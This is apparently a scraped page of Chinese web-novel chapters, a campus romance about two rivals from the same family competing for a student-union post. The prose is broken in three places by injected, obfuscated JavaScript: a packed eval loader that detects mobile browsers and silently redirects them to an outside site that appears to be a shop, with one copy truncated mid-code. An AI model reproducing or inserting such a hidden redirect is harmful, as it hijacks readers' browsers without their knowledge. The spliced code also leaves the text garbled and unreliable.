半天憋出一句:行了,少讲点话吧。 段槿觉得挺逗的,正要往休闲区走,余光瞟到柯钧佑站在吧台前跟店员说着什么,一男一女俩店员边做特调咖啡还一个劲的点头回应。 段槿下意识将目光投过去,谁曾想直接跟柯钧佑撞上了视线。 对方依旧那副冷淡的痞样,缓慢地掀起眼皮,刘海垂在额前遮盖住大半的眼睛,俩人目光对上时,他眉眼间并未染出几分柔和。 段槿想躲闪视线,柯钧佑却在这时冷不丁开口叫了声:“段槿。” “过来。” 段槿明显愣了一下,都还没反应过来,腿就已经不受控地迈了出去,很快便来到了他的跟前。 不过她面上依旧寡淡,话语间也并不客气:“你有事?” 柯钧佑轻抬了下下巴,示意吧台上的三份蛋糕和五杯特调咖啡。 段槿很快明白他的意思,端起其中一份蛋糕,又拿了一杯看着就很甜的特调咖啡准备走。 才刚走出去一步,她又立马停住脚步,转过身面无表情地盯着柯钧佑:“你真打算面试文体部副部长这个职位?” 似乎没料到她会说这个,柯钧佑顿了一秒才轻微挑了下眉,紧接着带着挑衅意味地嗯了声。 段槿唇线绷得笔直:“我没在怕你的。”说完这话,她转身,头也不回地走掉了。 这天下午,五人在BERRY待了快仨小时才离开。 翌日,希尔大学新生入学季社团以及学生会招新活动,于上午十点,在操场举办。 五人中也就只有段槿和柯钧佑对社团以及学生会感兴趣,其他仨人连去操场凑个热闹都嫌麻烦。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537796|203859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 上午十点整,下课铃敲响,任课老师前脚刚走,后脚段槿就抄起Burberry格纹托特包,从后门离开了教室。 此时还坐在教室里磨磨蹭蹭收拾课本的三位舍友,被阶梯排椅的轻微震动弄得下意识回过头,就发现段槿已经走得没了影。 三人中不知道是谁,小声嘀咕了一句:没必要这么急吧。 她们都不知道,段槿对这次学生会的招新活动重视程度极高,早在几天前她就已经填好了报名表。 来到操场后,她将两份报名表分别投递给了学生会文体部,以及摄影社。 高中那会儿,段槿就是学校摄影社的副社长。 记得当时刚接触摄影是因为陪宁倾眠去公司上班,宁倾眠忙的时候,段槿就自个在公司里转悠,而她最常去的地方就是摄影棚。 交完报名表,段槿没在操场瞎转,直接回了宿舍。 两天后,学生会文体部的面试通知以短信的形式发送到了段槿的手机上。 与这条短信同时到来的还有柯钧佑的微信消息。 【Pidrij:今晚回家吗?】 这条消息的上一条,时间停在好几天前了,这几天俩人完全处于断联的状态,没有消息也没有见面,柯钧佑甚至都没有在群里冒泡,不知道在预谋些什么。 段槿显然不想回复,毕竟今天晚上就要去文体部面试了,在这个节骨眼上发消息,未免有些不怀好意。 这么想着,段槿还就真没有回复,专心准备今晚的面试。 晚上六点整,段槿在等候教室见到柯钧佑时,他身边围了不少男男女女。不知道是几天没见的缘故还是怎么着,段槿总觉得柯钧佑的头发又长了,整个人看着也更慵懒了。 他穿着蓝色adidas韩系Polo华夫格短袖,边嚼着口香糖,微微低头时碎发遮眼,他斜靠在桌前,手指有一搭没一搭地轻敲桌面,眼神散漫放空,似乎对周围人聊的话题提不起兴致。 段槿没过多关注他们那一群人,刚走进教室就有几个同班的同学招手喊她过去。 段槿应了声,抬腿朝教室后排走。 兴许是错觉,她总觉得刚刚从那一群人身边经过时,柯钧佑掀起眼皮盯了自己一眼。 那眼神就好像在说:你输定了。 段槿实在有些讨厌他,不看他,目视前方快步走到了教室后排的空位坐下。 屁股才刚着椅子,同班的一个男同学就转过身,冲段槿眨了眨眼睛:“你和柯钧佑认识吗?” 听到这个名字,段槿的心脏瞬间收紧,虽然她依旧面无表情,但呼吸却着实乱了一拍。 她强装淡定:“不认识。”话音落,紧接着问了一嘴:“怎么了?” 这位男同学身边的一位女同学也跟着八卦起来:“你还不知道吧,你和他在咱学校可火了,论坛上有不少关于你俩的帖子呢。” 这话听着……就怪怪的,不过如果她和柯钧佑的关系被曝光出来,这些人应该也没有这么淡定。 这么想着,段槿完全冷静下来,很冷漠的开口:“我和他?” 女同学疯狂点头:“对啊对啊,全是你俩的追求者发的,还有不少闲聊贴,反正话题都围绕着你俩。” 猜测无误,段槿的语气冷淡无波:“我不常上论坛,不清楚。” 女同学边点着头,边说:“也是,别说你俩还挺像的。你不上论坛,他属于被表白直接无视。” 男同学:“这难道就是帅哥和美女的共同点吗,所以你有喜欢的男生吗?” 话题跳转得太快速,旁边一直没说话的一位同学忍不住戳破:“哎呦,你在这套话呢。” 男同学的脸颊瞬间红了大片,连忙摆手:“我就问问,问问,没别的想法。” 男同学话音刚落,不远处的那群人中,一直没有参与到话题讨论中的那位,冷不丁说了句:“有别的想法也没用。” 此话一出,教室里半数同学不约而同的投去了目光,其中包括段槿。 她神色一顿,余光注意到,坐在周围的几个同班同学似乎嗅到了一股八卦的气息。 也就在这时,柯钧佑对面的男生哭丧着脸道:“哥,你让让我不行吗?我已经很惨了,你能懂吗,我的crush当着我的面和别的男生亲亲抱抱,问题就是,她明明前一天还跟我拉了小手!啊啊啊啊啊我的心都碎了啊!!!” 10. 撕破脸 顿时,悬在胸口的那口气被顺了下去。 段槿现在着实有些后悔,怎么就跟柯钧佑报考了同一所大学呢,就单说为了隐瞒两人关系这事,就不知道要经历多少次提心吊胆的时刻。 好在同班的几个同学已经收住了八卦的神情,然而同一时间,段槿看到柯钧佑轻微牵起的唇角,很浅的弧度,旁人或许不会在意,但这不得不让段槿多想。 这一刻,她甚至怀疑,刚刚柯钧佑是不是故意的,他最近到底是哪根筋搭错了,为什么总是跟自己作对,说些让人遐想的话好抓住某些把柄吗。 段槿承认,在这件事上,她不得不‘哄’着柯钧佑,如果他想要的就是,在下次两人闹矛盾时,做下台阶的那个人,她完全可以给他递台阶,他想要什么样的台阶都行。 但话又说回来了,她其实还没有做好准备给他递台阶,她下台阶下习惯了,一时间有些难以改变。 不过都不等她继续琢磨怎么放狠话给柯钧佑点颜色,文体部的学长学姐过来教室喊序号进行第一轮面试。 根据学长学姐的说明,面试将分组进行,一组五个人。非常不幸的是,段槿和柯钧佑被分到了一个组。 不过倒也没什么所谓,段槿早就习惯了被他盯着,并且这回她做足了准备,只要没有意外发生,面试应该会进行得比较顺利。 在教室又等待了快半小时,终于轮到了段槿这组。 也是这会儿,她才知道,同组的还有刚刚哭丧着脸的那个男生。 不得不说,这男生的话是真的多。 段槿走在队伍最后一个,没走几步她就注意到,明明柯钧佑全程都没搭理对方,甚至在走廊拐角处时,她还看到柯钧佑微微蹙起的眉头,以及他眼神中透出的一丝不悦。 这般神情使他整个人格外的阴沉,气场也够足,但那男生已经完全沉浸在了自己的世界里,嘴巴一张一合不带停歇的。 见此情景,段槿都以为柯钧佑上了大学后转性了,脾气变这么好了,结果下一秒,她就看到他眼神冰冷地扫了那男生一眼。 随后沉沉的叹了口气,话语间带着明显的不耐烦:“少说话。闹腾。” 原本还有一堆垃圾话想说的男生,在和柯钧佑对上视线的一瞬间,秒怂,麻溜闭上了他那破嘴。 看完全程的段槿现在可以肯定,柯钧佑没变,他依旧不好相处。 就说嘛,和柯钧佑认识这么多年,他唯一能接受的就是谈俢焱话多烦他,其他人多说两个字他都会叫人闭嘴安静点。 要不是现在才刚开学不久,同学们之间的关系还不算太熟络,柯钧佑怎么可能那么委婉的说话。要知道,初高中班里的那么多号人,可都挺怕他的。 - 走廊上没了刺耳的声响,很快学长就带着五人进入了面试的教室。 一走进教室,段槿就看到坐在第一排的五位学长学姐,最中间位置上的是一位留着清爽短发,戴着眼镜的学长,也就是文体部的部长。 他的左手边坐着两位穿着十分精致的女生,如果没有猜错的话,应该是文艺部的学姐。 而部长的右手边是俩高个子男生,其中一人皮肤黝黑,额前和鼻梁上还滚着汗珠,估摸着应该是在操场上训练时被临时拉过来充数的。 看到几人进来了,部长简单说明了一下面试的规则: 五人依次上台,每个人有三分钟的面试时间,分别是一分钟的自我介绍,以及两分钟的回答问题环节。 段槿是这组里最后一个上台面试的,组内其他三位同学面试结束后就离开了教室,唯独柯钧佑没有要走的意思,一直坐在教室后排的椅子上。 段槿原本并不想注意他,奈何他实在太欠。慵懒的靠着椅背,两条腿长到塞在桌底下都有些太勉强,只能挪了个更舒服的位置,把一条腿放到了过道上。 他全程抱着胳膊,一脸懒散地微眯着眼,目光直直盯着。 那神色弄得人好生不自在,莫名有种他才是本场面试的面试官。 直到三分钟的面试时间结束,部长温柔地笑着:“好了,我们想问的问题都问完了,谢谢你能来参加这次面试。初试通过后,复试的时间会发送到你的手机上。” 出了面试教室,俩人谁也没搭理谁,一前一后走着。 柯钧佑单手抄在裤兜里,垂在另一侧的手,手指修长,骨节处泛着浅粉。 不知道他是故意的还是怎么着,187的个子,两条腿明明那般长,走起路来却慢悠悠地,好似刚睡醒,浑身上下一股子懒劲。 段槿有些受不了,刚刚在走神时险些踩到他,要不是走廊太窄,她不可能一直跟在他后边。 这么想着,她下意识啧了一声。 刚啧完,都来不及在心里暗暗骂他一顿。 柯钧佑迈出的脚步突然顿了一瞬,不等段槿反应,他停住步子,微微侧过身:“刚刚在面试时,部长说的话你听懂了吗?” 似乎并不打算给段槿回答问题的机会,他紧接着开口:“很显然,你不适合这个职位。” 段槿一直以来都足够有自信,但在听到这句难听话后,她的脑海中自动浮现不久前部长说的: “你们大概都听说了,文艺部和体育部能合并到一起,是经过开会讨论和投票决定下来的。而这两个部门之所以会合并到一起,很大一部分原因是这两个部门主要负责的都是策划和组织的工作。 像学校的文艺晚会、才艺比赛、艺术节,还有运动会,体育赛事,等等。 所以我们部门要的是有沟通能力、组织协调能力、创新能力,以及抗压能力的成员。” …… 部长说的最后一句话不断地在段槿的耳边回荡,她的眉心不着痕迹地蹙了下,看着人的眼神更加冰冷:“我为什么不适合。” 四目相对,段槿的眼神中显然透着疏离感,她死死盯着柯钧佑,却发现,对方似乎并不打算斗出个输赢。 就当段槿以为柯钧佑不会犯欠的时候,他突然挑了下眉,语调玩味:“没我适合。” 段槿面上情绪依旧让旁人难以捉摸,但垂在腿侧的手,在听到他的这句话后,默默握紧了拳。 半天,她憋出几个字:“你拽什么。” 也是这时,柯钧佑余光瞟到,楼道角落那似乎站了个人。 这个点天已经漆黑,只有零星几个教室亮着灯光,他没太看清,也并不在意,已经转身继续往前走,只撂了句:“今晚不回下个礼拜也该回了,妈咪会念叨你。” 明明上一秒还在不服气的“吵”架,这一秒就开始商量一起回家的事情了(?) 段槿仍处在半懵的状态,只很轻的哦了声。 其实段槿之所以没有在军训结束后,就像谈俢焱那样,立马搬回家住,很大一部分原因是不想跟柯钧佑抬头不见低头见。 不过柯钧佑说的也在理,宁倾眠老早前就打电话来催俩人回家住了,每回这种时候,段槿都会找借口糊弄过去,再糊弄下去的确不太好。 这么想着,段槿回了宿舍。 晚上十点多,宿舍的门被敲响。 同一时间,另外三位舍友正隔着床帘眼神交流着什么,段槿并不知情,她还坐在桌前处理手头上琐碎的事情。 其实很难想象,按道理来说,大学的课程比高中少,导员也不会过度干涉学生的生活,应该更加轻松才对,结果谁曾想,乱七八糟的事特多,问题就是忙来忙去不知道忙了些什么,还累得够呛,几乎沾枕头就能秒睡。 这会儿,段槿被大大小小的事弄得头昏眼花,全然没有注意到,坐在床上的三位舍友,目光已经不约而同地投了过来。 紧接着,宿舍的门再次被敲响,门外那人兴许是等得着急了,朝着房间里喊道:“小槿小槿,快开门,有急事!” 听到门外是秦澜的声音,段槿很快从烦闷中抽离出来,起身快两步去开门。 才刚拉下门把手,秦澜的一只手就从门缝里钻了过来,稳稳地握在了段槿的手腕上。段槿甚至没看清她,就被拽到了桌前坐下。 秦澜一句话没说,从兜里掏出手机,点开论坛扒拉了两下,然后将手机递到了段槿面前,并眼神示意让她快看。 此时校论坛上,一条标题为:身份敏感怕被扒,所以上小号发言的帖子已经被某些带节奏的人传得乱七八糟,说什么的都有,还都挺离谱的。 楼主提供关键词:新生、风云人物、一男一女。 段槿冷着脸往下翻,看到楼主在评论区的两条发言。 【楼主:之前磕他俩的人不用做梦了,这俩人关系极差,为了争夺学生会某个部门的职位,快撕破脸。】 【楼主:就今晚的事,你们是不知道,当时那个架势,我靠我都怕他俩打起来,可恐怖了。】 再往下。 【一楼:谁啊谁啊好奇。】 【二楼:一楼你是不是不上论坛冲浪,论坛上少说有百来张他俩的照片。】 【三楼:所以dj什么时候惹上kjy的?】 【四楼:我听说他俩好像开学那会儿就不对付。】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537797|203859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>【五楼:帅哥美女也会相斥?好怪,不应该互看顺眼然后迅速拍拖吗?实话我真的磕过他俩呜呜呜。】 【六楼:你当是演偶像剧呢,再说了,kjy什么人你们还不清楚啊,开学至今有多少漂亮姑娘跟他表白,他统统无视,人拽得要死,大大的差评!】 【七楼:有跟dj表白的吗?礼貌问,她人好相处吗?】 【八楼:爆完照我再回答你,据我所知,dj只跟帅哥接触,不过好像接触来接触去,也没谈上啊,不知道她是不是骗人感情的渣女哦。】 【九楼:你们别歪楼了,咱们现在讨论的话题是,他俩的仇恨到底有多深,能让kjy主动搭话,并且放狠话,dj不简单啊。】 【十楼:你怎么知道是kjy放的狠话,你也在场?】 【十一楼:说不定私下已经约架了哈哈哈,我是小学生不好意思,我知道打架不对,但很想看。】 …… 评论太多,一时翻不到底,段槿索性不看了,将手机递还给秦澜。 秦澜接过手机,瞄了眼段槿,见她面上始终没有太多表情,冷着张脸好似挺无所谓的。 可秦澜忍不住啊,她先是回过头看了眼床帘,见没人探出脑袋,她凑到段槿耳边,声音放轻:“这都什么跟什么啊,你俩在一起十多年了,关系再怎么差最多也就拌个嘴,怎么被他们的嘴传一遍就成这样了,也太离谱了吧。” 兴许是担心秦澜被某些人的话气得背过气去,段槿反手握住她的手,轻轻揉进手心。然后很认真地看着她:“无所谓,我当时的确挺想打他的。” 秦澜:“啊……?” 段槿没打算防着人,所以说这话时她并没有压低音量。 见秦澜有些懵,她深深叹出一口气:“随便他们怎么传,我现在只想找到一件事的解决办法。” 秦澜还懵着:“什么事?” 段槿一本正经:“如何习惯大学生活。” 秦澜算是发现了,不管是现在,还是以前,段槿在面对任何事情时,都过于较真了。她太追求完美,或许跟她从小到大受到的教育有关,也跟她喜欢做的事情有关。 她酷爱体育竞技,可体育竞技就是需要争个第一名第二名的,而在她看来,第二名就是失败,她不允许自己失败,所以拼了命的想要所有事情都能完成得更好,最好。 再比如学习,把自己学到焦虑,学到失眠,对于她来说才是舒适的,这样实在是有些可怕了。 秦澜不愿段槿这样下去,她瘪了下嘴,又眨眨眼:“你要不跟我和谈俢焱一样,学着摆下烂呢?” 话音落,她挺直腰背,拍桌:“遇到麻烦事咱就先不处理,没有什么比晚上洗完澡坐在桌前打两把游戏更放松的了。” 说到放松,段槿突然想到什么,问:“那你有其他的解压方式吗?”毕竟她实在是玩不来游戏。 “解压吗……我得好好想想……” 秦澜正琢磨着,反扣放在桌面上的手机响起来电铃声,段槿拿起手机看了眼,来电人备注是妈咪。 她按下接听键,顺手就点了外放,随后有气无力的喊了声:“妈咪——” 电话那头的宁倾眠立马听出了不对劲,语气里满是焦急:“囡囡,你是不是累了啊,学校生活过得不愉快吗?如果不愉快的话妈咪送你出国玩一阵好不好啊,或者干脆出国念书,想学什么专业跟妈咪说……” 听着宁倾眠不断地进行安慰和开导,段槿的鼻头在这一瞬间有些发酸发胀。 其实在此之前,她并不想承认自己就是很恋家,也挺妈宝女的。虽然宁倾眠在教育方面的确有些严厉,段槿也习惯了做一个乖乖女,但是整个段家对她的宠爱都是毫无保留的。 就像宁倾眠很早前说的一句话:我的宝宝生来就是公主,是来享福的,她不需要知道这人世间的险恶,我会保护好她。 整整半个小时,段槿都在和宁倾眠聊天,而秦澜,早在电话打来时就离开了她们宿舍。 等跟宁倾眠的电话挂断后,段槿才看到,班级群里有大半的同学都在安慰自己,其中有几个同学还发了语音,她顺手点开一条。 男同学:“小槿,你放心吧,那个谁欺负不了你的,他要敢找你麻烦,你告诉我,我给你出头。” 女同学:“小槿,我找熟人打听过了,文体部的学长学姐都很喜欢你,我相信你肯定可以进文体部。” …… 也是这时,斜对床的床帘后,响起一声不轻不重的嘀咕:“自己没能力,还委屈上了。” 11. 有仇 此话一出,原本另外两位舍友正刷视频唠嗑,空气凝固的这一秒钟,俩人已经尴尬到,火速将手机音量调小,然后一声不吭当什么都没发生。 也因为这一声嘀咕,段槿回过头看了那张床一眼。 她并没有反驳,似乎打心底里,有那么一瞬间,她自己也是这样觉得的。要不然为什么当了这么多年的副班长,而不是班长。或许,真的是自己能力不行。 这晚过后,校论坛上谣言愈演愈烈,段槿倒没什么所谓,日子该怎么过怎么过,她和柯钧佑依旧处于,在五人群里冒泡,但不会私聊的状态。 很快,在国庆假期前,迎来了文体部的第二轮面试。 这次面试的等候教室是三楼中间的阶梯大教室,面试也从五人一组,变成了一个一个进。 不过段槿的手气依旧很一般,抽签抽到最后一个面试。 等段槿面试结束,准备回教室拿包包时,正正好撞见柯钧佑从阶梯教室里出来,而他的手上就拎着段槿要拿的adidas粉色健身斜挎包。 看着柯钧佑没有要上前还包的意思,拎着包来到了走廊上的窗台边。他拎着包的那只手,手肘靠放在窗台边沿,另一只手抄在adidas条纹运动裤的口袋里。 一条腿曲着,一副松散的样,微微歪着脑袋,没有说话,只直直盯着。 段槿并没有躲掉目光,冷着张脸看他,突然就想到了刚刚在面试时被问住的那个问题,实在是有些生气。 她用余光快速扫了眼周围,确认没人后才抬腿走过去。 来到柯钧佑跟前,段槿一把将包包夺了过来:“你又想干嘛?适不适合用不着你说。” 柯钧佑似乎有一瞬间没反应过来,过了一阵他才开口:“其实你心里比我更清楚。” 话音落,柯钧佑看到段槿轻微颤动的眼睫。 “所以如果注定会遇到很多麻烦事,你可能会因为这些事情感到心烦意乱,甚至失去信心,你还会想继续吗?” 不给段槿回答问题的机会,他继续:“如果你从一开始就讨厌处理这些事情,为什么还要过来面试勉强自己?到时候一堆大大小小的事情处理不好,被人骂可能都是常有的事,这种时候你是又打算躲起来哭鼻子吗。” ‘咔’的一声,脆弱的心口出现一道细微的裂缝。 陈年旧事就这样被翻出来,段槿有些恼羞成怒,下意识反驳:“你在胡说什么。” 这段她想掩盖的记忆还是不打一声招呼的钻进了大脑,胸口处的不适逐渐蔓延开来。 段槿印象很深刻,那是高二下学期的事了。 连续几次竞选班长一职都以失败告终后,段槿不服气的找到了班主任。 看着情绪不太稳定的段槿,班主任并没有马上否定她,而是给了她一次证明自己的机会:去处理班上两位同学之间的矛盾。 这在段槿看来并不难,然而去了才知道,事情远没有她想象中的那么容易。她不但没有缓和两位同学的矛盾,反而还被这俩人给骂了一顿,骂就算了,俩人还险些扭打到一起。 段槿从来没有遇到过这样棘手的问题,又或者说,从出生的那一刻开始,她就不需要去处理任何麻烦事。她就是被惯着长大的,永远是被爱包围着的。 可她不想放弃这次得之不易的机会,同时又不知道该如何是好,被气到甚至有些委屈。 在大课间时,她趁着同学们都在操场上做操,一个人躲在教室里偷偷抹泪。 像是担心突然有人回来会发现自己在哭,她边小声啜泣,手里还捏着一瓶眼药水。 不知哭了多久,直到柯钧佑从后门进来,脚步轻缓地踱到了座位旁。 他的声音在头顶上方响起,很平常的语气,足够冷漠:“眼药水借我。” 段槿被这突如其来的说话声吓了一跳,抬起头就看到柯钧佑的眼眶里布满了红血丝。 她缓了一秒,尽可能用正常的声音说话:“你眼睛怎么这么红?” 柯钧佑没什么所谓的耸耸肩:“跟你一样,过敏,揉了几下眼睛。” 听到他这么说,段槿很轻的哦了声,将手里攥着的眼药水递了过去。 偷偷抹泪的当天晚上,放学前,班主任在开班会时特别表扬了柯钧佑,原因是他处理好了那两位同学之间的矛盾。 听着同学们热烈的掌声,段槿看到,柯钧佑微微歪头,轻挑了下眉,样子很是得意。 当时的段槿不过十六七岁,她幼稚的在心里暗暗发誓,再也不要理柯钧佑,他真的很讨人厌!如果可以,她不想再看到柯钧佑,他自己没有家吗,为什么要赖在段家不走。 …… 这段记忆浮现于脑海之中,段槿突然又有点想跟柯钧佑绝交了。 只是不等她说出这句话,柯钧佑突然问:“你是不是不记得那次我跟你说的话了。” 他……说什么了……?好像是说:你是公主…… 然后呢,段槿真不记得了,如果没有记错的话应该是说自己很没用,娇生惯养之类的。她从来都不喜欢记让自己不开心,或者很尴尬的事情。 反正不是什么好话,忘记就忘记了吧。 段槿其实都不知道柯钧佑为什么要突然提起这件事,他到底想表达什么? 她暂时也不想弄明白,只认真说:“我已经不是小孩了。”话音落,她又强调:“我不会做勉强自己的事情。” “我想进文体部,想当副部长,不是幼稚的要跟你对着来,我想做这件事,哪怕不跟你争,也会跟别人争。”所以我才不是一定要跟你抢什么,我不喜欢……一直都不喜欢…… 说完这番话,段槿余光注意到,不远处的走廊上,有一位眼熟的同学正朝这边小跑过来,她迅速转身往前走了几步。 然后就听到那个男生道:“佑哥你还没走呢,有个表得填一下,刚刚部长忘了给你。”说着,他将表递给柯钧佑,然后就准备撤:“你先填着,我等下找你拿。” 等男生走远了,段槿回过头就看到柯钧佑不知什么时候去到了不远处的吸烟区,慢慢悠悠点上了一支香烟,正有一搭没一搭的抽着。 他一手指间夹着根烟,一手拿笔,半个身子斜靠在窗台边,两条长腿很随性地交叉站着,微微低头填着表。 过长的刘海压在眼睫上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537798|203859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,写了几个字后,他手指夹着笔,很随意地将头发往后顺。 正好这时有几个女生从这边经过,其中一个女生忍不住犯起了花痴:“我靠我靠好帅啊。” 段槿听着了,没忍住嘁出了声。 兴许是这一声太响亮,几个女生快速别开眼。 其中一人连忙道:“快别说了,他俩有仇。” 另一人:“别等会儿打起来误伤到我们了,快走快走。” …… 段槿觉得挺莫名其妙,看都不带看某人一眼,踱到了走廊尽头,随后拐入了卫生间侧边的吸烟室。 这个点,教学楼十分空荡,几乎看不到几个学生。 来到吸烟室后,段槿找了个靠窗的隔间。进入隔间,她将门反锁,从口袋里拿出一盒没拆塑封膜的芭乐口味的香烟,又摸出上午刚在便利店买的打火机。 她边拆塑封膜,脑海中不自觉浮现刚刚在面试时遇到的无法回答的问题,无声叹了口气。 将塑封膜丢入垃圾篓,她动作十分笨拙地从烟盒里抽出一支香烟送到嘴边咬住。 点上火,火星微弱。她尝试吸了一口,烟雾入喉的下一秒, “咳咳咳——” 一阵辛辣和灼热让她止不住的咳嗽,段槿的脸一瞬间涨得通红,胸口处的闷痛感实在难受。 连着咳了数声后,喉咙里残留的烟味让她不想再尝试第二次。 她果断将烟蒂捻灭,去隔壁卫生间洗了个手,然后离开了教学楼。 不知道是不是错觉,从卫生间出来后,段槿总感觉身后有一双眼睛在盯着自己,不仅如此,她还依稀听到了脚步声,那脚步在悄悄跟随,越来越近,步步紧逼。 段槿回过头看了几眼,并没有发现什么异常,她权当是最近压力太大,产生了幻觉,加快步伐走去了停车坪。 拉开车门坐上车,她心中任有顾虑,可都不等她锁车门,副驾的车门突然被拉开,一个高大的黑影钻进了车里,带着淡淡的烟草味。 段槿险些被吓了一跳,差点开车门跑出去,等她看清这黑影是柯钧佑后,又瞬间松了口气,随即便冷脸质问:“你上来干什么?” 话音刚落,不给点反应的机会,柯钧佑一手撑在主驾座椅靠背上,突然凑上前。两人之间的距离瞬间缩短,近到好像只要稍微再往前靠一点,就能碰上嘴唇。 这近在咫尺的距离让段槿心头一紧,呼吸跟着停滞。 耳边是细微的呼吸声,以及校园广播站随机播放的一首抒情歌,男歌手细腻的声音通过电流传递,回荡在校园上空。 这会儿,段槿整个人都处在发懵的状态下,甚至不知道该怎么退出,硬着脖子,拉安全带的手下意识就攥紧了。 不知过了多久,她的身体逐渐僵硬到无法动弹,心头跟着一片混乱,就连骂人都忘了。 柯钧佑似乎并不打算就这么算了,又往前凑了凑,到她脖颈处,微微歪头,闻了闻。滚烫的鼻息毫无保留地洒在她脖颈,以及脸颊上。 周身气息冰冷,压迫感如潮水般涌来,令人窒息。 他声音低,语气严肃:“谁教你的?” 12. 把柄 段槿的大脑在这一瞬间变得一片空白,她自认为自己并没有干什么伤天害理的事情,但怎么一被质问,就有种犯了大罪等着被处决的感觉。 她甚至忘了自己还能呼吸,被柯钧佑滚烫的,带着压迫感的气息逼得无路可退。 他的眼睛仿佛能穿透人心,被他这样盯着,段槿的心虚感愈发强烈,都开始怀疑,是不是下一秒他就要从兜里掏出手铐把人拷住然后带走? 段槿不喜欢占下风的感觉,这滋味让人非常不爽。 可这都由不得她决定,周遭的声音似乎都变得模糊不清,如同隔着一层毛玻璃。 她喉咙发紧,嘴唇微张,像是有话想说,反驳的话或是其他,但不管她怎么在心里措辞,始终发不出任何音节。 心跳声也在这死寂中变得异常清晰,段槿能很明显的感觉到,自己的面部肌肉完全僵硬住,脸颊和耳根子一瞬间升温充血,涨得通红。 她不知道该怎么办,眼神中始终透着难以置信,这可比被宁倾眠抓到早恋还要可怕得多。 所以到底是哪个环节出了岔子,怎么就被发现了呢,他会不会打小报告,现在应该想个什么办法讨好一下他,可为什么要讨好他啊,他就不能当做什么都不知道吗,他为什么总是揪着自己不放啊,该怎么办该怎么办该怎么办…… 段槿突然意识到,大脑的齿轮似乎在遇到柯钧佑后总是莫名其妙的卡死,像是生锈般,强行转动反而会留下马脚。 正是因为知道这一点,所以她完全想不出任何合理的解决办法,手指无意识地蜷缩起来,指甲死死扣住安全带。由于车内实在太安静,指甲摩擦安全带的声响被无限放大。 不知过了多久,她决定不能再这样僵持下去,俩人认识这么多年,她可从来没有认过输。 快速回过神,段槿很轻微地往后退了点,背直接抵靠在车门上。 她强装淡定:“你在说什么。” 很显然,柯钧佑没有退后的打算,甚至另一只手已经扶上了方向盘。 段槿余光瞟到,柯钧佑把住方向盘的那只手,修长的手指,正有一搭没一搭的轻轻敲击着,就像是宣告死亡的倒计时。 嗒——嗒——嗒—— 段槿的喉头无意识地吞咽了一下,就这样被柯钧佑囚、禁着,空气中不知道是谁身上散发出的烟草味,让她在这一瞬间竟产生了窒息感,她现在的处境实在太艰难,就连反手开车门逃跑都没可能。 而柯钧佑从上车到现在,有好几分钟了吧,总共就说了一句话,他似乎并不担心无意义的僵持会浪费他的时间,好像今天不听到令他满意的回答,他就不打算再说任何一个字。 可这让人怎么回答嘛,怎么回答都是死路一条,段槿可没那么傻,扯谎是一条不现实的路,需要用更多的谎言去掩盖。 她装听不懂总不算在欺骗他了吧,毕竟他的质问也挺让人摸不清头脑的。 但话又说回来了,抽根烟怎么了,他不也抽吗?就因为他是当哥哥的,所以不允许毫无血缘关系的妹妹碰这玩意? 不等段槿胡乱猜测,柯钧佑突然很轻的笑了声,好似有些无奈:“把刚刚说的话再说一遍。” 段槿算是发现了,自己只擅长在宁倾眠面前扮演乖乖女,而柯钧佑总是能一眼识破她的小把戏,从小到大都是,撒没撒谎柯钧佑一句话就能套出来。 但段槿才不管那么多,装都装了,就没有退路了。 见柯钧佑依旧靠得近,她担心他不达目的不罢休,再往前凑凑的话,身上那么丁点的烟味都会被他闻出来。 没有过多思考,段槿的手掌已经附上他的胸口,将人重重往后推。 她面上没什么过多的情绪,依旧冷漠:“别凑这么近行吗?” 柯钧佑被她推着,微微垂眸看了眼胸口上的那只手,没有继续为难人的打算,已经老老实实靠坐回去,边拉安全带系上,很随意的开口:“散散味再回去,不然会被发现。” 听到他这句话,段槿有一瞬间感到诧异。 没想到这事就这么过去了,她还以为柯钧佑会去找宁倾眠打小报告,就像很多年前的一次,她和隔壁班的一个男同学约好一起去校外吃午饭,结果当天晚上回到家中,她就被宁倾眠训了一顿,并明令禁止二十岁以前都不能谈恋爱。 其实段槿真没想过要早恋,她为了提高各科成绩每天忙到头晕眼花,哪还有时间谈情说爱啊,和那个男同学也只是为了讨论摄影社的事情。但听到宁倾眠的话,她有些不服气,下意识就反驳了一句,问为什么成年后也不能谈恋爱。 那还是段槿长这么大以来第一次顶嘴,宁倾眠缓了好一阵,才带着气的说:没到法定年龄都算早恋! 所以段槿有些没搞明白,柯钧佑为什么要错过这次机会呢,这实在诡异。 她死死盯着柯钧佑的侧脸,试图找到问题的答案,几秒钟后依旧无果,于是她直接问:“你没把柄在我手上吧。” 柯钧佑仍目视前方:“没。” 